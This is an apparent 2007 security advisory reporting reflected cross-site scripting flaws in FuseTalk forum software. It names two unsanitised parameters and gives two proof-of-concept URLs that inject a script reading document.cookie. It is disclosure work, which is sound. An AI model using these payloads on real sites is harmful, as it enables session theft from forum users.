Hello everyone,
Advisory: FuseTalk affected by multiple Cross Site Scripting bugs
Product: FuseTalk Basic/Standard/Enterprise ColdFusion version
Version: unknown, the vendor fixes bugs without changing version number
Risk: Medium
Reported on: April 25, 2007
Vendor: FuseTalk
Impact: execution of script code in the victim's browser window
With an easy-to-use, intuitive administration system, extensive customization
capabilities and a rich feature set, FuseTalk is a pleasure to use for both
administrators and forum members. Full RDBMS support, high performance and full
linear scalability allow FuseTalk to meet your demands.Over 1,000 customers use
FuseTalk to deliver the benefits of collaborative online communities, including
VCampus, Rockwell, Seagate Software, Macromedia, Hasbro, U.S. Air Force, AT&T,
Citicorp, McCormick and Company, Adobe, eBay, AnandTech, NASA, Bloomberg,
the U.S. Dept. of Energy, VISA, etc.
FuseTalk is vulnerable to multiple Cross Site Scripting bugs.
The problem lies in the /forum/include/error/autherror.cfm script,
the variables FTVAR_LINKP and FTVAR_URLP are not sanitized.
http://[srv]/forum/include/error/autherror.cfm?errorcode=1
&FTVAR_LINKP=%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie)
%3C/script%3E%3Ca%20href=%22
http://[srv]/forum/include/error/autherror.cfm?errorcode=1
&FTVAR_URLP=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Discovered by Ivan Almuina of Fastcom Technology SA.
almuina at domainname (following domain)
fastcom-technology.com
More fusetalk advisories to come,
–
Ivan Almuina
Fastcom Technology S.A.
Phone: +41 21 619 06 70
Fax: +41 21 619 06 71
Internet: http://www.fastcom-technology.com/